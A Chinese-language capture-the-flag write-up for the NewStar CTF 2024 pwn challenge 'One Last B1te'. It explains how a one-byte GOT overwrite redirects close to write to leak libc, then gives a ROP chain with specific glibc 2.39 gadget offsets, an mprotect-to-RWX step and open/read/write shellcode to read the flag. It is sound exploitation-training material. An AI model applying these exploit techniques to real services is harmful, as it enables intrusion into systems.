W3 One Last B1te(NewStar CTF 2024)
考点:1 字节任意地址写 · Partial RELRO 延迟绑定 · seccomp 沙箱(禁 execve)· 栈溢出 ROP · ORW 附件:
pwn(非 PIE,amd64,无 canary,Partial RELRO)+ 自带libc.so.6/ld-linux-x86-64.so.2(glibc 2.39)
1. 保护与程序逻辑
RELRO: Partial RELRO # .got.plt 可写 + 延迟绑定Stack: No canaryNX: NX enabledPIE: No PIE (0x400000) # ELF 地址全已知反编译 main(伪代码):
init(); // setbuf + 打印 banner(banner 用 write(fd=0) 输出,实际不可见)sandbox(); // seccomp:默认 ALLOW,仅 KILL execve(59) / execveat(322) / sendfile(40)write(1, "Show me your UN-Lucky number : ", 0x20);read(0, &addr, 8); // 输入一个地址write(1, "Try to hack your UN-Lucky number with one byte : ", 0x32);read(0, addr, 1); // ★ 任意地址写 1 字节read(0, buf, 0x110); // ★ 栈溢出(buf 在 rbp-0x10,可覆盖 saved RIP)close(1); // 关闭 stdout —— 注意此时寄存器状态!return 0; // leave; ret → ROP要点:
- 沙箱禁 execve → 不能 getshell,只能 ORW(open/read/write 读 flag)。sendfile 也被禁。
- 只有一次”任意地址写 1 字节”,而且此时已知的只有 ELF 地址(libc 因 ASLR 未知)。
- ELF 里几乎没有可用 gadget(只有
ret、pop rbp; ret、leave; ret、add rsp,8; ret——被优化掉了 CSU),要靠 libc 里的 gadget,因此必须先泄漏 libc。
2. 关键一步:把 close@got 最低字节改成 write@plt
程序是 Partial RELRO + 延迟绑定,且 close 直到 main 最后一句才第一次被调用 → 此时 close@got(0x404028)里装的还是 PLT 桩地址 0x401080。
我们利用那 1 字节任意写:往 close@got 写 0xc0:
close@got: 0x401080 --最低字节改 0xc0--> 0x4010c0 = write@plt于是 main 最后的 close(1) 实际变成 jmp write@plt → write(...)。
再注意”call close 时寄存器的状态”:close(1) 调用前,寄存器还残留着上一步
read(0, rbp-0x10, 0x110) 的参数——rsi = rbp-0x10、rdx = 0x110,而 rdi = 1(mov edi,1 设置)。
所以重定向后的调用等价于:
write(1, rbp-0x10, 0x110) // 把 0x110 字节栈内容写回 stdout = 泄漏泄漏数据里有 libc 指针:[main_rbp+0xa8] = libc + 0x2a28b
(这是 __libc_start_main 里 call __libc_init_first 之后的返回地址,偏移固定)。
=> libc_base = leaked - 0x2a28b。
同时 close 被重定向后 stdout(fd 1) 从未真正关闭——后续输出仍可走 fd 1(远程部署下比 fd 2 更可靠)。
3. 第二次进 main:用 libc gadget 搭 ORW ROP
拿到 libc 基址后,栈溢出链直接 ret; main 重进 main,第二次溢出搭 ROP 链。
需要的 libc gadget(glibc 2.39 随附 libc):
| gadget | 偏移 | 说明 |
|---|---|---|
pop rdi; ret | 0x10f75b | |
pop rsi; ret | 0x110a4d | |
pop rax; ret | 0x0dd237 | |
xchg eax, edx; sub eax, edx; ret | 0x1a7f27 | 设置 rdx 的 gadget——不只有 pop rdx; ret |
mprotect | 0x125c10 | |
read | 0x11ba50 |
xchg eax, edx; sub eax, edx; ret 的妙处:先把要写的值放 rax,xchg 后 edx = rax,
sub eax, edx 只破坏 eax(不是参数),rdx 就是我们要的值——绕开 glibc 2.39 里难找的 pop rdx; ret。
ROP 链(选 libc 映射尾部 libc+0x202000 作为 shellcode 存放区):
mprotect(libc+0x202000, 0x2000, 7) # 把 libc 尾部数据段改成 RWXread(0, libc+0x202000, 0x1000) # 读入 shellcodejmp libc+0x202000 # 执行(libc+0x202000 落在 libc 文件映射内已映射的页,mprotect 可直接改权限;本地实测可行。)
4. ORW shellcode
sc = asm( shellcraft.open('./flag', 0, 0) + # open → fd 存 rax shellcraft.read('rax', buf, 0x100) + # read(fd, buf, 0x100) → rax = n shellcraft.write(1, buf, 'rax') # write(1, buf, n) 输出到 stdout)5. 验证结果
本地(随附 ld+libc,ASLR 开启)连续多轮稳定输出 flag:
[+] leaked libc ptr = 0x7f213836a28b => libc_base = 0x7f2138340000[+] output: b'flag{test_flag_for_one_last_b1te}\n'远程平台已关闭,按任务书约定以本地跑通为准。
小结
- 1 字节任意写在”延迟绑定 + Partial RELRO”下威力不小:把
close@got的最低字节 改成write@plt,借用调用点的寄存器残留,把 close 变成 write 完成泄漏。 - 沙箱题目一律走 ORW;ELF gadget 不够就”看别的可执行段”(libc),配合
pop rax + xchg eax,edx这类非常规 gadget 设置 rdx。